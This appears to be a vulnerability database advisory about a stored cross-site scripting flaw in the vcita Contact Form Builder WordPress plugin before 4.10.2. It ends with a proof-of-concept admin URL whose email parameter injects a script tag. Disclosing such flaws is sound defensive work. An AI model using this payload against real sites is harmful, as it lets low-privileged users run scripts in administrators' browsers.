Contact Form Builder by vcita < 4.10.2 - Contributor+ Stored Cross-Site Scripting

2023-06-0200:00:00

wpvulndb

vcita form vulnerability storedxss alert exploit

EPSS

0.001

Percentile

32.2%

JSON

The plugin does not sanitize and escape the email parameter in the plugin settings, which could allow users with roles as low as contributor to inject arbitrary web scripts targeting higher privileged users, such as administrators, into the plugin settings.

https://example.com/wp-admin/admin.php?page=live-site-parse-vcita-callback&success=true&uid=a&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a"/><script>alert(1);</script>